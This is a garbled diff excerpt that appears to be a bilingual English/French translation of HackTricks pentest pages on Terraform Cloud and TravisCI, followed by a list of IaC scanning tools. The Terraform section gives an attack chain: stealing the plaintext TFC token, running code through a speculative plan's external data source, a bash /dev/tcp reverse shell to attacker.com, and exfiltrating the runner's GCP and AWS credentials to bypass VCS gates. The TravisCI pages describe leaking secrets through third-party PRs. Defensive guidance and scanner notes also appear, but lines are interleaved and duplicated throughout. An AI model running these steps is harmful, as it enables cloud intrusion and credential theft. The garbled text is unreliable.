- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
|
||||
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
|
||||
|
||||
- Discover workspace and VCS settings via the TFC API:
|
||||
- Prérequis:
|
||||
- Voler un token Terraform Cloud depuis une machine de développeur. Le CLI stocke les tokens en texte en clair dans `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Le token doit avoir accès à l'organisation/workspace cible et au moins la permission `plan`. Les workspaces liés à un VCS bloquent `apply` depuis le CLI, mais autorisent toujours les speculative plans.
|
||||
|
||||
- Découvrir les paramètres du workspace et du VCS via l'API TFC:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
|
||||
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
|
||||
|
||||
- Déclencher l'exécution de code lors d'un speculative plan en utilisant l'external data source et le bloc Terraform Cloud "cloud" pour cibler le VCS-backed workspace:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
|
||||
Example rsync.sh to obtain a reverse shell on the TFC runner:
|
||||
|
||||
Exemple de rsync.sh pour obtenir une reverse shell sur le TFC runner:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
|
||||
Run a speculative plan to execute the program on the ephemeral runner:
|
||||
|
||||
Lancer un plan spéculatif pour exécuter le programme sur le runner éphémère :
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials depuis le runner. Pendant les runs, TFC injecte provider credentials via files et environment variables:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
|
||||
Expected files on the runner working directory:
|
||||
Fichiers attendus dans le répertoire de travail du runner :
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- `tfc-google-application-credentials` (configuration JSON Workload Identity Federation)
|
||||
- `tfc-gcp-token` (jeton d'accès GCP éphémère)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
- `tfc-aws-shared-config` (configuration d'AssumeRole web identity/OIDC)
|
||||
- `tfc-aws-token` (jeton éphémère ; certaines organisations peuvent utiliser des clés statiques)
|
||||
|
||||
- Use the short-lived credentials out-of-band to bypass VCS gates:
|
||||
- Utilisez les identifiants éphémères hors canal pour contourner les gates VCS :
|
||||
|
||||
GCP (gcloud):
|
||||
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
|
||||
AWS (AWS CLI):
|
||||
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
|
||||
Avec ces creds, les attaquants peuvent créer/modifier/supprimer des ressources directement en utilisant les CLIs natifs, contournant les workflows basés sur PR qui bloquent `apply` via VCS.
|
||||
|
||||
- Defensive guidance:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
|
||||
|
||||
## Compromising Terraform Cloud
|
||||
@@ -312,127 +280,125 @@ With these creds, attackers can create/modify/destroy resources directly using n
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Il est alors possible d'exécuter du code arbitraire en utilisant **`terraform plan`** comme expliqué dans le chapitre précédent.
|
||||
|
||||
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
|
||||
### Évasion vers le cloud
|
||||
|
||||
### Escaping to the cloud
|
||||
Ensuite, si le runner est situé dans un environnement cloud, il est possible d'obtenir le token du principal attaché au runner et de l'utiliser out of band.
|
||||
|
||||
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
|
||||
- **Fichiers GCP (présents dans le répertoire de travail de l'exécution courante)**
|
||||
- `tfc-google-application-credentials` — JSON de configuration pour Workload Identity Federation (WIF) qui indique à Google comment échanger l'identité externe.
|
||||
- `tfc-gcp-token` — token d'accès GCP de courte durée (≈1 heure) référencé par le fichier ci‑dessus
|
||||
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
- **Fichiers AWS**
|
||||
- `tfc-aws-shared-config` — JSON pour web identity federation / OIDC role assumption (préféré aux clés statiques).
|
||||
- `tfc-aws-token` — token de courte durée, ou potentiellement des clés IAM statiques si mal configuré.
|
||||
|
||||
|
||||
## Automatic Audit Tools
|
||||
## Outils d'audit automatiques
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
Snyk propose une solution complète de scanning Infrastructure as Code (IaC) qui détecte les vulnérabilités et les mauvaises configurations dans Terraform, CloudFormation, Kubernetes, et autres formats IaC.
|
||||
|
||||
- **Fonctionnalités :**
|
||||
- Analyse en temps réel des vulnérabilités de sécurité et des problèmes de conformité.
|
||||
- Intégration avec les systèmes de contrôle de version (GitHub, GitLab, Bitbucket).
|
||||
- Pull requests de correction automatisées.
|
||||
- Conseils de remédiation détaillés.
|
||||
- **Inscription :** Créez un compte sur [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
**Checkov** est un outil d'analyse statique de code pour l'infrastructure as code (IaC) et aussi un outil d'analyse de composition logicielle (SCA) pour les images et les paquets open source.
|
||||
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité en utilisant une analyse basée sur un graphe.
|
||||
|
||||
Il effectue [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui consiste en une analyse des paquets open source et des images à la recherche de Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` est un framework de tests léger, axé sur la sécurité et la conformité, pour terraform, permettant des tests négatifs pour votre infrastructure en tant que code.
|
||||
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
- **compliance:** S'assurer que le code implémenté respecte les standards de sécurité, ainsi que vos propres standards personnalisés
|
||||
- **behaviour driven development:** On utilise le BDD pour presque tout, pourquoi pas pour IaC ?
|
||||
- **portable:** installez-le simplement via `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** il valide votre code avant son déploiement
|
||||
- **easy to integrate:** il peut s'exécuter dans votre pipeline (ou dans des git hooks) pour s'assurer que tous les déploiements sont validés.
|
||||
- **segregation of duty:** vous pouvez conserver vos tests dans un dépôt différent où une équipe distincte en est responsable.
|
||||
|
||||
> [!NOTE]
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
> Malheureusement, si le code utilise des providers auxquels vous n'avez pas accès, vous ne pourrez pas exécuter le `terraform plan` ni lancer cet outil.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
|
||||
- ☁️ Vérifie les mauvaises configurations sur tous les principaux (et certains mineurs) fournisseurs cloud
|
||||
- ⛔ Des centaines de règles intégrées
|
||||
- 🪆 Scanne les modules (locaux et distants)
|
||||
- ➕ Évalue les expressions HCL ainsi que les valeurs littérales
|
||||
- ↪️ Évalue les fonctions Terraform, p.ex. `concat()`
|
||||
- 🔗 Évalue les relations entre les ressources Terraform
|
||||
- 🧰 Compatible avec Terraform CDK
|
||||
- 🙅 Applique (et enrichit) les politiques Rego définies par l'utilisateur
|
||||
- 📃 Prend en charge plusieurs formats de sortie : lovely (par défaut), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via des flags CLI et/ou un fichier de config)
|
||||
- ⚡ Très rapide, capable d'analyser rapidement d'énormes dépôts
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan est un analyseur statique de code pour Infrastructure as Code. Terrascan vous permet de :
|
||||
|
||||
- Scanner en toute transparence l'infrastructure as code pour détecter les erreurs de configuration.
|
||||
- Surveiller l'infrastructure cloud provisionnée pour les modifications de configuration qui entraînent une dérive de posture, et permettre de revenir à une posture sécurisée.
|
||||
- Détecter les vulnérabilités de sécurité et les violations de conformité.
|
||||
- Atténuer les risques avant de provisionner l'infrastructure cloud native.
|
||||
- Offre la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
Détectez les vulnérabilités de sécurité, les problèmes de conformité et les mésconfigurations d'infrastructure dès les premières étapes du cycle de développement de votre infrastructure-as-code avec **KICS** de Checkmarx.
|
||||
|
||||
**KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, c'est open source et un incontournable pour tout projet cloud natif.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan est un analyseur statique de code pour Infrastructure as Code. Terrascan vous permet de :
|
||||
|
||||
- Scanner de façon transparente l'Infrastructure as Code pour détecter les mauvaises configurations.
|
||||
- Surveiller l'infrastructure cloud provisionnée pour détecter les changements de configuration qui entraînent du posture drift, et permettre de revenir à une posture sécurisée.
|
||||
- Détecter les vulnérabilités de sécurité et les violations de conformité.
|
||||
- Atténuer les risques avant de provisionner l'infrastructure cloud native.
|
||||
- Offre la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# TODO
|
||||
# À FAIRE
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
Les PRs Github sont les bienvenues pour expliquer comment (mal)utiliser ces plateformes du point de vue d'un attaquant
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,9 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Any other CI/CD platform...
|
||||
- Toute autre plateforme CI/CD...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,68 +1,65 @@
|
||||
# TravisCI Security
|
||||
# TravisCI Sécurité
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is TravisCI
|
||||
## Qu'est-ce que TravisCI
|
||||
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
**Travis CI** est un service de **intégration continue** **hébergé** ou sur **site** utilisé pour construire et tester des projets logiciels hébergés sur plusieurs **différentes plateformes git**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Attacks
|
||||
## Attaques
|
||||
|
||||
### Triggers
|
||||
### Déclencheurs
|
||||
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
Pour lancer une attaque, vous devez d'abord savoir comment déclencher une construction. Par défaut, TravisCI **déclenchera une construction lors des envois et des demandes de tirage** :
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
#### Tâches Cron
|
||||
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
Si vous avez accès à l'application web, vous pouvez **définir des tâches cron pour exécuter la construction**, cela pourrait être utile pour la persistance ou pour déclencher une construction :
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> Il semble qu'il ne soit pas possible de définir des tâches cron à l'intérieur du `.travis.yml` selon [ceci](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### Third Party PR
|
||||
### PR de tiers
|
||||
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
TravisCI désactive par défaut le partage des variables d'environnement avec les PR provenant de tiers, mais quelqu'un pourrait l'activer et vous pourriez alors créer des PR au dépôt et exfiltrer les secrets :
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
Comme expliqué dans la page [**informations de base**](basic-travisci-information.md), il existe 2 types de secrets. Les **secrets de variables d'environnement** (qui sont listés sur la page web) et les **secrets chiffrés personnalisés**, qui sont stockés dans le fichier `.travis.yml` sous forme de base64 (notez que les deux, une fois stockés chiffrés, finiront par être des variables d'environnement dans les machines finales).
|
||||
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
- Pour **énumérer les secrets** configurés comme **Variables d'Environnement**, allez dans les **paramètres** du **projet** et vérifiez la liste. Cependant, notez que toutes les variables d'environnement du projet définies ici apparaîtront lors du déclenchement d'une construction.
|
||||
- Pour énumérer les **secrets chiffrés personnalisés**, le mieux que vous puissiez faire est de **vérifier le fichier `.travis.yml`**.
|
||||
- Pour **énumérer les fichiers chiffrés**, vous pouvez vérifier les **fichiers `.enc`** dans le dépôt, pour des lignes similaires à `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` dans le fichier de configuration, ou pour des **iv et clés chiffrés** dans les **Variables d'Environnement** telles que :
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
### À FAIRE :
|
||||
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
- Exemple de construction avec un shell inversé fonctionnant sur Windows/Mac/Linux
|
||||
- Exemple de construction fuyant l'encodage base64 des env dans les logs
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
Si un attaquant se retrouve dans un environnement utilisant **TravisCI enterprise** (plus d'infos sur ce que c'est dans les [**informations de base**](basic-travisci-information.md#travisci-enterprise)), il pourra **déclencher des constructions dans le Worker.** Cela signifie qu'un attaquant pourra se déplacer latéralement vers ce serveur à partir duquel il pourrait être capable de :
|
||||
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
- échapper à l'hôte ?
|
||||
- compromettre kubernetes ?
|
||||
- compromettre d'autres machines fonctionnant sur le même réseau ?
|
||||
- compromettre de nouveaux identifiants cloud ?
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,48 +1,45 @@
|
||||
# Basic TravisCI Information
|
||||
# Informations de base sur TravisCI
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Accès
|
||||
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
TravisCI s'intègre directement avec différentes plateformes git telles que Github, Bitbucket, Assembla et Gitlab. Il demandera à l'utilisateur de donner à TravisCI les permissions d'accéder aux dépôts qu'il souhaite intégrer avec TravisCI.
|
||||
|
||||
For example, in Github it will ask for the following permissions:
|
||||
Par exemple, dans Github, il demandera les permissions suivantes :
|
||||
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
- `user:email` (lecture seule)
|
||||
- `read:org` (lecture seule)
|
||||
- `repo` : Accorde un accès en lecture et en écriture au code, aux statuts de commit, aux collaborateurs et aux statuts de déploiement pour les dépôts et organisations publics et privés.
|
||||
|
||||
## Encrypted Secrets
|
||||
## Secrets chiffrés
|
||||
|
||||
### Environment Variables
|
||||
### Variables d'environnement
|
||||
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
Dans TravisCI, comme dans d'autres plateformes CI, il est possible de **sauvegarder au niveau du dépôt des secrets** qui seront sauvegardés chiffrés et seront **décryptés et poussés dans la variable d'environnement** de la machine exécutant la construction.
|
||||
|
||||
.png>)
|
||||
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
Il est possible d'indiquer les **branches auxquelles les secrets seront disponibles** (par défaut toutes) et aussi si TravisCI **doit cacher sa valeur** si elle apparaît **dans les journaux** (par défaut, il le fera).
|
||||
|
||||
### Custom Encrypted Secrets
|
||||
### Secrets chiffrés personnalisés
|
||||
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
Pour **chaque dépôt**, TravisCI génère une **paire de clés RSA**, **garde** la **clé privée**, et rend la **clé publique du dépôt disponible** pour ceux qui ont **accès** au dépôt.
|
||||
|
||||
Vous pouvez accéder à la clé publique d'un dépôt avec :
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
Ensuite, vous pouvez utiliser cette configuration pour **chiffrer des secrets et les ajouter à votre `.travis.yaml`**. Les secrets seront **déchiffrés lorsque la construction sera exécutée** et accessibles dans les **variables d'environnement**.
|
||||
|
||||
.png>)
|
||||
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
Notez que les secrets chiffrés de cette manière n'apparaîtront pas dans les variables d'environnement des paramètres.
|
||||
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
### Fichiers Chiffrés Personnalisés
|
||||
|
||||
De la même manière que précédemment, TravisCI permet également de **chiffrer des fichiers puis de les déchiffrer pendant la construction** :
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -52,7 +49,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -60,36 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
